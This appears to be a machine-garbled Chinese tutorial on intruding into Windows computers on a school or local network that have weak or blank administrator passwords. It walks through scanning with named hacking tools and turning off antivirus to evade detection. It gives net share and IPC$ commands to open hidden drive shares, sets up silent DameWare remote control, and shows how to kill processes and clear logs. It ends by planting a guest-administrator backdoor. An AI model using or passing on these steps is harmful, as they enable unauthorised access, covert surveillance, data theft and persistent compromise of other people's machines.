检测局域网教程[网络技术]

首先申明:
1.入侵的范围只包含局域网,假如在学校上,可以入侵整个校园网; 2.能入侵的只是存在弱口令(用户名为administrator等,密码为空),并且开了139端口,但没开防火墙的机子. 入侵工具: 普通要用到三个:NTscan变态扫描器,Recton--D贺免杀专用版,DameWare迷你中文版 4.5. （前两个工具杀毒软件城市报毒,倡议将杀毒软件及时防毒暂时关掉,并将这两个软件的紧缩包加密,避免被杀.） 入侵步骤: 1.利用"NTscan变态扫描器",在IP处填上要扫描的IP范围,挑选"WMI扫描"方法,按"开始"后就等扫描后果了.

2.利用"Recton--D贺免杀专用版" 挑选"CMD号令"项,在"CMD:"中输入"net share C$=C:\",便可开启远程主机的C盘同享,以此将"C"换成D,E,F等,便可开启D盘,E盘,F盘等的同享,这种同享方法躲藏性很高,并且是完好同享,在对方主机上不会呈现一只手托住盘的同享标志,然后在地址栏中输入"\\对方IP\C$",便可进入对方C盘. 挑选"Telnet"项,在"远程主机"中输入方才扫描到的一个IP,远程启动Telnet服务,成功后在"CMD选项"中,履行号令:"net share ipc$",接着履行:"net share admin$",最后履行"net use \\***.***.***.***\IPC$ "" /user:administrator"在*处填入你入侵的主机IP.

3.利用"DameWare迷你中文版 4.5",安装后点"DameWare Mini Remote Control",在"帮忙"项中挑选激活产品,输入注册信息,成功注册后,进入"远程衔接"窗口,在"主机"处填入IP地址,点"设置",在"服务安装选项"中点"编辑"后,在"告诉对话框"中去掉"衔接时告诉",在"附加设置"中全都不选,在"用户选项"中去掉"启用用户选项菜单".设置完成好后,便可点"衔接",在弹出的对话框中点"肯定"后,成功后你便可以像操作自己机子一样掌握别人电脑了,当然你也可以只挑选监督对方屏幕. 注意:假如不注册的话,在对方主机上会弹出一个对话框,表露你的身份.
入侵步骤增补: 1.在以上第2步中,远程启动Telnet服务可以通过"我的电脑-管理-衔接到另一台计算机-输入IP-服务和利用程序-服务-将telnet改成手动-启动"完成.

2.Recton--D贺免杀专用版还有其他功效,在"进程"项中,可以查看远程主机的进程,并可肆意完毕此中进程;在"同享"项中,可以成立同享,我常用的是成立C$,D$,E$,F$,同享途径辨别对应C:\,D:\等,同享好后在地址栏中输入"\\IP\C$",进入对方C盘,你便可以随便复制删除里面的东西了,并且这种同享对方机子盘符上不会显示同享图标,也就不会被发现,弄完后最好还是把同享给关掉.最后选"日记",排除全部日记,不留痕迹.这个软件会被杀毒软件当作病毒杀掉,用它时须将及时防毒关掉.

3.上面的同享可通过CMD(程序-附件-号令提醒符)完成,首先"telnet IP",telnet上去,键入y后输入的用户名"administrator",密码为空, 进入后,开同享用net share号令,同享C$(即C盘):"net share C$=C:",同享system文件夹:"net share c=c:\winnt\system32",同享IPC$用:"net share IPC$"等,最后是关闭同享,关闭C盘同享:"net share C$ /del".

4.为便利下次入侵,可以设置后门, 查看用户:"net user",激活guest用户 "net user guest /active:yes",更改guest的密码为poco:"net user guest poco",把guest的权限晋升为管理员权限:"net localgroup administrators guest /add". 5.telnet号令(dos号令)很多,可去网上查找它的号令,常用的有:查看D盘文件:""dir d:\",查看C盘program file文件夹:"dir c:\PROGRA~1\;",60秒倒记时关机:"shutdown -s -t 60"